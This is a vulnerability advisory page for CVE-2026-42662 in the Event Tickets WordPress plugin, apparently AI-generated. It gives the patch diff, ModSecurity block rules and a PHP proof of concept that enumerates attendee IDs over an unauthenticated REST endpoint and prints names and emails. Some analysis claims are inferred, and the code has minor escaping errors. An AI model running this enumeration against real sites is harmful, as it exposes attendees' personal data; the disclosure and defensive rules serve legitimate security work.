Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 5, 2026

CVE-2026-42662: Event Tickets and Registration <= 5.27.5 – Missing Authorization (event-tickets)

Plugin event-tickets
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 5.27.5
Patched Version 5.27.6.1
Disclosed May 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-42662:

The Event Tickets and Registration plugin for WordPress (versions up to and including 5.27.5) contains a missing authorization vulnerability in its REST API endpoints. An unauthenticated attacker can access sensitive order and attendee data. The vulnerability carries a CVSS score of 5.3 (Medium). Multiple REST endpoints in the PayPal and Square gateways are affected, as is the Single Attendee REST endpoint.

Root Cause: The root cause is missing or insufficient capability checks in several REST API endpoints. In `Order_Endpoint.php` for both the PayPal gateway (`event-tickets/src/Tickets/Commerce/Gateways/PayPal/REST/Order_Endpoint.php`) and the Square gateway (`event-tickets/src/Tickets/Commerce/Gateways/Square/REST/Order_Endpoint.php`), error responses leaked internal order objects, cart contents, purchaser data, and gateway payloads. The patch removes these data leaks from WP_Error objects. Additionally, in the `handle_fail_order` method of the Square gateway (line 269-315), the endpoint was deprecated entirely, indicating it could be invoked without authorization. In `Single_Attendee.php` (line 89-98), the `get` method lacked any access control for non-admin users, returning attendee data directly via `tribe_attendees( ‘restv1’ )->by_primary_key( $request[‘id’] )` without checking if the attendee’s parent event was publicly visible.

Exploitation: An attacker can send crafted REST API requests to the vulnerable endpoints. For attendee data, the attacker sends a GET request to `/wp-json/tribe/tickets/v1/attendees/{id}`. Without the patch, this returns full attendee details (name, email, ticket type, purchase data) regardless of event privacy settings. For the PayPal order creation endpoint, the attacker sends a POST to `/wp-json/tribe/tickets/v1/gateway/paypal/order` with a crafted cart. The error responses previously leaked the internal order object and purchaser data, aiding further attacks. The Square `handle_fail_order` endpoint (deprecated in the patch) accepted parameters like `order_id`, `failed_status`, `failed_reason`, and `failed_reason` and would modify order status without authentication.

Patch Analysis: The patch (version 5.27.6.1) addresses the vulnerability in several ways. In `Single_Attendee.php`, a new private method `is_publicly_visible_attendee_event` is added. The `get` method now checks `request_has_manage_access()` for admin requests and validates that the attendee’s event is published, not password-protected, and does not hide attendees from public listing. For PayPal’s `Order_Endpoint.php`, the patch removes the third argument (the `$order` object) from all WP_Error instances in `handle_create_order`, `handle_update_order`, `handle_recheck_order`, and `handle_fail_order`, preventing internal data exposure. For the Square gateway, the patch similarly removes exposed data from WP_Error returns and deprecates the entire `handle_fail_order` method, returning an empty response. Validation is added to ensure `failed_status` parameters match allowed values (`not-completed`, `denied`, `voided`). Autoloader class names are also updated, but this is a build artifact.

Impact: Successful exploitation allows an unauthenticated attacker to enumerate attendee details including personal information (names, email addresses) and purchase metadata from any event, even private or password-protected ones. For the PayPal and Square gateway endpoints, the information disclosure reveals internal order objects, cart items, purchaser data, and gateway payloads. This information can be used for social engineering, targeted phishing, or to aid in further attacks on the site or its users. The deprecated Square `handle_fail_order` endpoint could potentially modify order statuses without proper authentication.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/event-tickets/common/vendor/vendor-prefixed/autoload.php
+++ b/event-tickets/common/vendor/vendor-prefixed/autoload.php
@@ -19,4 +19,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInitb01fb95bfc826db970c13b89d5ca02f1::getLoader();
+return ComposerAutoloaderInit8392b95f95880e2ae43d23da0eb6490e::getLoader();
--- a/event-tickets/common/vendor/vendor-prefixed/composer/autoload_real.php
+++ b/event-tickets/common/vendor/vendor-prefixed/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInitb01fb95bfc826db970c13b89d5ca02f1
+class ComposerAutoloaderInit8392b95f95880e2ae43d23da0eb6490e
 {
     private static $loader;

@@ -24,12 +24,12 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInitb01fb95bfc826db970c13b89d5ca02f1', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit8392b95f95880e2ae43d23da0eb6490e', 'loadClassLoader'), true, true);
         self::$loader = $loader = new TECCommonComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInitb01fb95bfc826db970c13b89d5ca02f1', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit8392b95f95880e2ae43d23da0eb6490e', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(TECCommonComposerAutoloadComposerStaticInitb01fb95bfc826db970c13b89d5ca02f1::getInitializer($loader));
+        call_user_func(TECCommonComposerAutoloadComposerStaticInit8392b95f95880e2ae43d23da0eb6490e::getInitializer($loader));

         $loader->setClassMapAuthoritative(true);
         $loader->register(true);
--- a/event-tickets/common/vendor/vendor-prefixed/composer/autoload_static.php
+++ b/event-tickets/common/vendor/vendor-prefixed/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace TECCommonComposerAutoload;

-class ComposerStaticInitb01fb95bfc826db970c13b89d5ca02f1
+class ComposerStaticInit8392b95f95880e2ae43d23da0eb6490e
 {
     public static $prefixLengthsPsr4 = array (
         'T' =>
@@ -584,9 +584,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInitb01fb95bfc826db970c13b89d5ca02f1::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInitb01fb95bfc826db970c13b89d5ca02f1::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInitb01fb95bfc826db970c13b89d5ca02f1::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit8392b95f95880e2ae43d23da0eb6490e::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit8392b95f95880e2ae43d23da0eb6490e::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit8392b95f95880e2ae43d23da0eb6490e::$classMap;

         }, null, ClassLoader::class);
     }
--- a/event-tickets/event-tickets.php
+++ b/event-tickets/event-tickets.php
@@ -3,7 +3,7 @@
  * Plugin Name: Event Tickets
  * Plugin URI:  https://evnt.is/1acb
  * Description: Event Tickets allows you to sell basic tickets and collect RSVPs from any post, page, or event.
- * Version: 5.27.5
+ * Version: 5.27.6.1
  * Requires at least: 6.7
  * Requires PHP: 7.4
  * Author: The Events Calendar
--- a/event-tickets/src/Tickets/Commerce/Gateways/PayPal/REST/Order_Endpoint.php
+++ b/event-tickets/src/Tickets/Commerce/Gateways/PayPal/REST/Order_Endpoint.php
@@ -11,8 +11,10 @@

 use TECTicketsCommerceGatewaysPayPalClient;
 use TECTicketsCommerceStatusDenied;
+use TECTicketsCommerceStatusNot_Completed;
 use TECTicketsCommerceStatusPending;
 use TECTicketsCommerceStatusStatus_Handler;
+use TECTicketsCommerceStatusVoided;
 use TECTicketsCommerceSuccess;
 use TECTicketsCommerceValuesLegacy_Value_Factory;
 use Tribe__Tickets__Tickets as Tickets;
@@ -93,6 +95,7 @@
 	 *
 	 * @since 5.1.9
 	 * @since 5.6.4 Include Event/Post title in the Ticket name.
+	 * @since 5.27.6.1 Removed order data from response for failed orders.
 	 *
 	 * @param WP_REST_Request $request The request object.
 	 *
@@ -122,7 +125,7 @@
 		$order = tribe( Order::class )->create_from_cart( tribe( Gateway::class ), $purchaser );

 		if ( ! $order ) {
-			return new WP_Error( 'tec-tc-gateway-paypal-failed-creating-order', $messages['failed-creating-order'], $order );
+			return new WP_Error( 'tec-tc-gateway-paypal-failed-creating-order', $messages['failed-creating-order'] );
 		}

 		$unit = [
@@ -152,7 +155,7 @@
 		$paypal_order = tribe( Client::class )->create_order( $unit );

 		if ( empty( $paypal_order['id'] ) || empty( $paypal_order['create_time'] ) ) {
-			return new WP_Error( 'tec-tc-gateway-paypal-failed-creating-order', $messages['failed-creating-order'], $order );
+			return new WP_Error( 'tec-tc-gateway-paypal-failed-creating-order', $messages['failed-creating-order'] );
 		}

 		$debug_header = tribe( Client::class )->get_debug_header();
@@ -281,6 +284,7 @@
 	 * Handles the request that updates an order with Tickets Commerce and the PayPal gateway.
 	 *
 	 * @since 5.1.9
+	 * @since 5.27.6.1 Removed order data from response for failed orders.
 	 *
 	 * @param WP_REST_Request $request The request object.
 	 *
@@ -301,7 +305,7 @@
 		] )->first();

 		if ( ! $order ) {
-			return new WP_Error( 'tec-tc-gateway-paypal-nonexistent-order-id', $messages['nonexistent-order-id'], $order );
+			return new WP_Error( 'tec-tc-gateway-paypal-nonexistent-order-id', $messages['nonexistent-order-id'] );
 		}

 		$recheck = $request->get_param( 'recheck' );
@@ -327,7 +331,10 @@
 				'gateway_payload' => $paypal_capture_response,
 			] );

-			return new WP_Error( 'tec-tc-gateway-paypal-failed-capture', $messages['failed-capture'], $paypal_capture_response );
+			return new WP_Error( 'tec-tc-gateway-paypal-failed-capture', $messages['failed-capture'], [
+				'name'    => Arr::get( $paypal_capture_response, 'name' ),
+				'details' => Arr::get( $paypal_capture_response, 'details', [] ),
+			] );
 		}

 		$response['success']  = true;
@@ -340,6 +347,7 @@
 	 * Gets the Order object again, in another request, to check for purchases possibly denied after creation.
 	 *
 	 * @since 5.4.0.2
+	 * @since 5.27.6.1 Removed order data from response for failed orders.
 	 *
 	 * @param string   $order_id The PayPal order ID.
 	 * @param WP_Post $order    The TC Order object.
@@ -382,7 +390,7 @@
 		$status = tribe( Status::class )->convert_to_commerce_status( $paypal_order_status );

 		if ( ! $status ) {
-			return new WP_Error( 'tec-tc-gateway-paypal-invalid-capture-status', $messages['invalid-capture-status'], $paypal_order_response );
+			return new WP_Error( 'tec-tc-gateway-paypal-invalid-capture-status', $messages['invalid-capture-status'] );
 		}

 		$updated = tribe( Order::class )->modify_status( $order->ID, $status->get_slug(), [
@@ -394,7 +402,7 @@
 		}

 		if ( in_array( $paypal_order_status, [ Status::FAILED, Status::DECLINED ], true ) ) {
-			return new WP_Error( 'tec-tc-gateway-paypal-capture-declined', $messages['capture-declined'], $paypal_order_response );
+			return new WP_Error( 'tec-tc-gateway-paypal-capture-declined', $messages['capture-declined'] );
 		}

 		$response['success']  = true;
@@ -413,6 +421,7 @@
 	 * Handles the request that handles failing an order with Tickets Commerce and the PayPal gateway.
 	 *
 	 * @since 5.2.0
+	 * @since 5.27.6.1 Removed order data from response for failed orders.
 	 *
 	 * @param WP_REST_Request $request The request object.
 	 *
@@ -432,7 +441,7 @@
 		$messages = $this->get_error_messages();

 		if ( ! $order ) {
-			return new WP_Error( 'tec-tc-gateway-paypal-nonexistent-order-id', null, $order );
+			return new WP_Error( 'tec-tc-gateway-paypal-nonexistent-order-id', null );
 		}

 		$failed_reason = $request->get_param( 'failed_reason' );
@@ -441,13 +450,16 @@
 			$failed_status = 'not-completed';
 		}

+		$allowed_failure_statuses = [ Not_Completed::SLUG, Denied::SLUG, Voided::SLUG ];
+
+		if ( ! in_array( $failed_status, $allowed_failure_statuses, true ) ) {
+			return new WP_Error( 'tec-tc-gateway-paypal-invalid-failed-status', null );
+		}
+
 		$status = tribe( Status_Handler::class )->get_by_slug( $failed_status );

 		if ( ! $status ) {
-			return new WP_Error( 'tec-tc-gateway-paypal-invalid-failed-status', null, [
-				'failed_status' => $failed_status,
-				'failed_reason' => $failed_reason
-			] );
+			return new WP_Error( 'tec-tc-gateway-paypal-invalid-failed-status', null );
 		}

 		/**
@@ -520,6 +532,7 @@
 	 * Arguments used for the deleting order for PayPal.
 	 *
 	 * @since 5.2.0
+	 * @since 5.27.6.1 Removed order data from response for failed orders.
 	 *
 	 * @return array
 	 */
@@ -543,8 +556,9 @@
 				'required'          => false,
 				'type'              => 'string',
 				'validate_callback' => static function ( $value ) {
-					if ( ! is_string( $value ) ) {
-						return new WP_Error( 'rest_invalid_param', 'The failed status argument must be a string.', [ 'status' => 400 ] );
+					$allowed = [ Not_Completed::SLUG, Denied::SLUG, Voided::SLUG ];
+					if ( ! is_string( $value ) || ! in_array( $value, $allowed, true ) ) {
+						return new WP_Error( 'rest_invalid_param', 'The failed status argument must be a valid failure status.', [ 'status' => 400 ] );
 					}

 					return $value;
--- a/event-tickets/src/Tickets/Commerce/Gateways/Square/REST/Order_Endpoint.php
+++ b/event-tickets/src/Tickets/Commerce/Gateways/Square/REST/Order_Endpoint.php
@@ -18,7 +18,10 @@
 use TECTicketsCommerceGatewaysSquareStatus;
 use TECTicketsCommerceStock_Validator;
 use TECTicketsCommerceStatusCreated;
+use TECTicketsCommerceStatusDenied;
+use TECTicketsCommerceStatusNot_Completed;
 use TECTicketsCommerceStatusPending;
+use TECTicketsCommerceStatusVoided;
 use TECTicketsCommerceSuccess;

 use WP_Error;
@@ -95,6 +98,7 @@
 	 * Handles the request that creates an order with Tickets Commerce and the Square gateway.
 	 *
 	 * @since 5.24.0
+	 * @since 5.27.6.1 Removed order data from response for failed orders.
 	 *
 	 * @param WP_REST_Request $request The request object.
 	 *
@@ -117,11 +121,7 @@
 		if ( ! tribe( Cart::class )->has_items() ) {
 			return new WP_Error(
 				'tec-tc-empty-cart',
-				$messages['empty-cart'],
-				[
-					'purchaser' => $purchaser,
-					'data'      => $data,
-				]
+				$messages['empty-cart']
 			);
 		}

@@ -138,12 +138,7 @@
 		if ( ! $order instanceof WP_Post ) {
 			return new WP_Error(
 				'tec-tc-gateway-square-order-creation-failed',
-				$messages['failed-order-creation'],
-				[
-					'cart_items' => tribe( Cart::class )->get_items_in_cart(),
-					'order'      => $order,
-					'purchaser'  => $purchaser,
-				]
+				$messages['failed-order-creation']
 			);
 		}

@@ -153,7 +148,7 @@
 		try {
 			$square_order_id = tribe( Square_Order::class )->upsert_square_from_local_order( $order );
 		} catch ( RuntimeException $e ) {
-			return new WP_Error( 'tec-tc-gateway-square-failed-creating-order', $messages['failed-creating-order'], $order );
+			return new WP_Error( 'tec-tc-gateway-square-failed-creating-order', $messages['failed-creating-order'] );
 		}

 		// Get the order object from the database, since the order object might have been updated by the Square_Order::upsert_square_from_local_order method.
@@ -167,13 +162,13 @@
 		}

 		if ( empty( $payment['id'] ) || empty( $payment['created_at'] ) || empty( $payment['status'] ) ) {
-			return new WP_Error( 'tec-tc-gateway-square-failed-creating-payment', $messages['failed-creating-payment'], $order );
+			return new WP_Error( 'tec-tc-gateway-square-failed-creating-payment', $messages['failed-creating-payment'] );
 		}

 		tribe( Square_Order::class )->add_payment_id( $order, $payment['id'] );

 		if ( 'COMPLETED' !== $payment['status'] ) {
-			return new WP_Error( 'tec-tc-gateway-square-failed-creating-payment', $messages['failed-creating-payment'], $order );
+			return new WP_Error( 'tec-tc-gateway-square-failed-creating-payment', $messages['failed-creating-payment'] );
 		}

 		tec_tc_orders()
@@ -220,6 +215,7 @@
 	 * Arguments used for the fail order endpoint.
 	 *
 	 * @since 5.24.0
+	 * @since 5.27.6.1 Added allowed failure statuses to the response for failed orders.
 	 *
 	 * @return array
 	 */
@@ -243,8 +239,9 @@
 				'required'          => false,
 				'type'              => 'string',
 				'validate_callback' => static function ( $value ) {
-					if ( ! is_string( $value ) ) {
-						return new WP_Error( 'rest_invalid_param', 'The failed status argument must be a string.', [ 'status' => 400 ] );
+					$allowed = [ Not_Completed::SLUG, Denied::SLUG, Voided::SLUG ];
+					if ( ! is_string( $value ) || ! in_array( $value, $allowed, true ) ) {
+						return new WP_Error( 'rest_invalid_param', 'The failed status argument must be a valid failure status.', [ 'status' => 400 ] );
 					}

 					return $value;
@@ -272,53 +269,16 @@
 	 *
 	 * @since 5.24.0
 	 *
+	 * @deprecated 5.27.6.1
+	 *
 	 * @param WP_REST_Request $request The request object.
 	 *
 	 * @return WP_Error|WP_REST_Response An array containing the data on success or a WP_Error instance on failure.
 	 */
 	public function handle_fail_order( WP_REST_Request $request ) {
-		$response = [
-			'success' => false,
-		];
-
-		$messages      = $this->get_error_messages();
-		$order_id      = $request->get_param( 'order_id' );
-		$failed_status = $request->get_param( 'failed_status' );
-		$failed_reason = $request->get_param( 'failed_reason' );
-
-		$order = tec_tc_orders()->by_args(
-			[
-				'status'           => [
-					tribe( Created::class )->get_wp_slug(),
-					tribe( Pending::class )->get_wp_slug(),
-				],
-				'gateway_order_id' => $order_id,
-			]
-		)->first();
-
-		if ( is_wp_error( $order ) || empty( $order ) ) {
-			return new WP_Error( 'tec-tc-gateway-square-order-not-found', $messages['order-not-found'], $order );
-		}
+		_deprecated_function( __METHOD__, '5.27.6.1', 'This endpoint is no longer used and will be removed in a future release.' );

-		$orders = tribe( Order::class );
-
-		// Mark the order as failed.
-		$orders->modify_status(
-			$order->ID,
-			$failed_status ?: 'failed',
-			[
-				'gateway_payload'  => [
-					'failed_reason' => $failed_reason,
-				],
-				'gateway_order_id' => $order_id,
-			]
-		);
-
-		$response['success'] = true;
-		$response['status']  = $failed_status ?: 'failed';
-		$response['message'] = $failed_reason ?: $messages['failed-payment'];
-
-		return new WP_REST_Response( $response );
+		return new WP_REST_Response( [] );
 	}

 	/**
--- a/event-tickets/src/Tribe/Main.php
+++ b/event-tickets/src/Tribe/Main.php
@@ -18,7 +18,7 @@
 	/**
 	 * Current version of this plugin.
 	 */
-	const VERSION = '5.27.5';
+	const VERSION = '5.27.6.1';

 	/**
 	 * Used to store the version history.
--- a/event-tickets/src/Tribe/REST/V1/Endpoints/Single_Attendee.php
+++ b/event-tickets/src/Tribe/REST/V1/Endpoints/Single_Attendee.php
@@ -87,9 +87,23 @@
 	 * {@inheritdoc}
 	 *
 	 * @since 4.12.0 Returns 401 Unauthorized if Event Tickets Plus is not loaded.
+	 * @since 5.27.6 Added event visibility checks for private, password-protected, and hidden attendee list events.
 	 */
 	public function get( WP_REST_Request $request ) {
-		return tribe_attendees( 'restv1' )->by_primary_key( $request['id'] );
+		$attendee_id = (int) $request['id'];
+
+		if ( tribe( 'tickets.rest-v1.main' )->request_has_manage_access() ) {
+			return tribe_attendees( 'restv1' )->by_primary_key( $attendee_id );
+		}
+
+		if ( ! $this->is_publicly_visible_attendee_event( $attendee_id ) ) {
+			/** @var Tribe__Tickets__REST__V1__Messages $messages */
+			$messages = tribe( 'tickets.rest-v1.messages' );
+
+			return new WP_Error( 'attendee-not-accessible', $messages->get_message( 'attendee-not-accessible' ), [ 'status' => 401 ] );
+		}
+
+		return tribe_attendees( 'restv1' )->by_primary_key( $attendee_id );
 	}

 	/**
@@ -411,4 +425,56 @@

 		return $check_in;
 	}
+
+	/**
+	 * Checks if the attendee's parent event is publicly visible.
+	 *
+	 * Blocks access when the event is private, password-protected,
+	 * or hides attendees from public listing.
+	 *
+	 * @since 5.27.6
+	 *
+	 * @param int $attendee_id The attendee post ID.
+	 *
+	 * @return bool True if publicly visible, false otherwise.
+	 */
+	private function is_publicly_visible_attendee_event( int $attendee_id ): bool {
+		if ( ! $attendee_id ) {
+			return false;
+		}
+
+		/** @var Tribe__Tickets__Attendee_Repository $attendee_repository */
+		$attendee_repository = tribe( 'tickets.attendee-repository' );
+
+		$event_id = 0;
+		foreach ( $attendee_repository->attendee_to_event_keys() as $event_meta_key ) {
+			$event_id = (int) get_post_meta( $attendee_id, $event_meta_key, true );
+			if ( $event_id ) {
+				break;
+			}
+		}
+
+		if ( ! $event_id ) {
+			return false;
+		}
+
+		$event = get_post( $event_id );
+
+		if ( ! $event instanceof WP_Post ) {
+			return false;
+		}
+
+		// Event must be published (not private or draft).
+		if ( 'publish' !== $event->post_status ) {
+			return false;
+		}
+
+		// Password-protected event.
+		if ( post_password_required( $event ) ) {
+			return false;
+		}
+
+		// Event must not hide attendees from public listing.
+		return ! tribe_is_truthy( get_post_meta( $event_id, '_tribe_hide_attendees_list', true ) );
+	}
 }
--- a/event-tickets/vendor/composer/installed.php
+++ b/event-tickets/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'the-events-calendar/event-tickets',
-        'pretty_version' => 'dev-release/M26.chikorita',
-        'version' => 'dev-release/M26.chikorita',
-        'reference' => 'f6981c7b1fdfbd0cbaece2acc4b01ce575cfe14a',
+        'pretty_version' => 'dev-fix/SVUL-71-paypal-square-vulnerabilities-fix',
+        'version' => 'dev-fix/SVUL-71-paypal-square-vulnerabilities-fix',
+        'reference' => 'aa341460fd50c3c60cee41f2411c319d8391b7e1',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'the-events-calendar/event-tickets' => array(
-            'pretty_version' => 'dev-release/M26.chikorita',
-            'version' => 'dev-release/M26.chikorita',
-            'reference' => 'f6981c7b1fdfbd0cbaece2acc4b01ce575cfe14a',
+            'pretty_version' => 'dev-fix/SVUL-71-paypal-square-vulnerabilities-fix',
+            'version' => 'dev-fix/SVUL-71-paypal-square-vulnerabilities-fix',
+            'reference' => 'aa341460fd50c3c60cee41f2411c319d8391b7e1',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-42662
# Blocks unauthenticated REST API requests to attendee endpoints
# Blocks enumeration of attendee IDs without proper authentication

# Rule 1: Block unauthenticated GET requests to attendee REST endpoint
SecRule REQUEST_URI "@beginsWith /wp-json/tribe/tickets/v1/attendees" 
  "id:20266200,phase:2,deny,status:403,chain,msg:'CVE-2026-42662 - Unauthenticated attendee REST access blocked',severity:CRITICAL,tag:CVE-2026-42662,tag:wordpress,tag:event-tickets"
  SecRule REQUEST_METHOD "@streq GET" "chain"
    SecRule REQUEST_HEADERS:X-WP-Nonce "@eq 0" "t:none"

# Rule 2: Block unauthenticated POST to PayPal order creation endpoint
SecRule REQUEST_URI "@beginsWith /wp-json/tribe/tickets/v1/gateway/paypal/order" 
  "id:20266201,phase:2,deny,status:403,chain,msg:'CVE-2026-42662 - Unauthenticated PayPal order endpoint blocked',severity:CRITICAL,tag:CVE-2026-42662,tag:wordpress,tag:event-tickets"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule REQUEST_HEADERS:X-WP-Nonce "@eq 0" "t:none"

# Rule 3: Block unauthenticated POST to Square fail order endpoint (deprecated vulnerable endpoint)
SecRule REQUEST_URI "@beginsWith /wp-json/tribe/tickets/v1/gateway/square/order" 
  "id:20266202,phase:2,deny,status:403,chain,msg:'CVE-2026-42662 - Unauthenticated Square order endpoint blocked',severity:CRITICAL,tag:CVE-2026-42662,tag:wordpress,tag:event-tickets"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule REQUEST_HEADERS:X-WP-Nonce "@eq 0" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-42662 - Event Tickets and Registration <= 5.27.5 - Missing Authorization

// PoC: Unauthenticated access to attendee details via REST API
// Replace with the target WordPress URL
$target_url = 'https://example.com';

// The REST endpoint for attendees
$rest_endpoint = $target_url . '/wp-json/tribe/tickets/v1/attendees/';

// Step 1: Attempt to retrieve attendee data without authentication
// We try sequential attendee IDs. In a real attack, an attacker would enumerate or find IDs.
$attendee_ids_to_test = [1, 2, 3]; // Adjust as needed

foreach ($attendee_ids_to_test as $attendee_id) {
    $url = $rest_endpoint . $attendee_id;

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/json',
        'Accept: application/json',
    ]);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Only for testing, remove in production

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $error = curl_error($ch);
    curl_close($ch);

    if ($error) {
        echo "Error for attendee ID $attendee_id: $errorn";
        continue;
    }

    echo "HTTP Code: $http_code for attendee ID: $attendee_idn";
    if ($http_code == 200) {
        $data = json_decode($response, true);
        if (isset($data['id'])) {
            echo "[!] Retrieved attendee data without authentication!n";
            echo "Attendee Name: " . ($data['title'] ?? 'N/A') . "n";
            echo "Attendee Email: " . ($data['email'] ?? 'N/A') . "n";
            echo "Full response: " . print_r($data, true) . "n";
        } else {
            echo "Response: " . $response . "n";
        }
    } elseif ($http_code == 401) {
        echo "Access denied (401) for attendee ID $attendee_id - likely patchedn";
    } else {
        echo "Unexpected HTTP code. Response: " . $response . "n";
    }
    echo "---n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School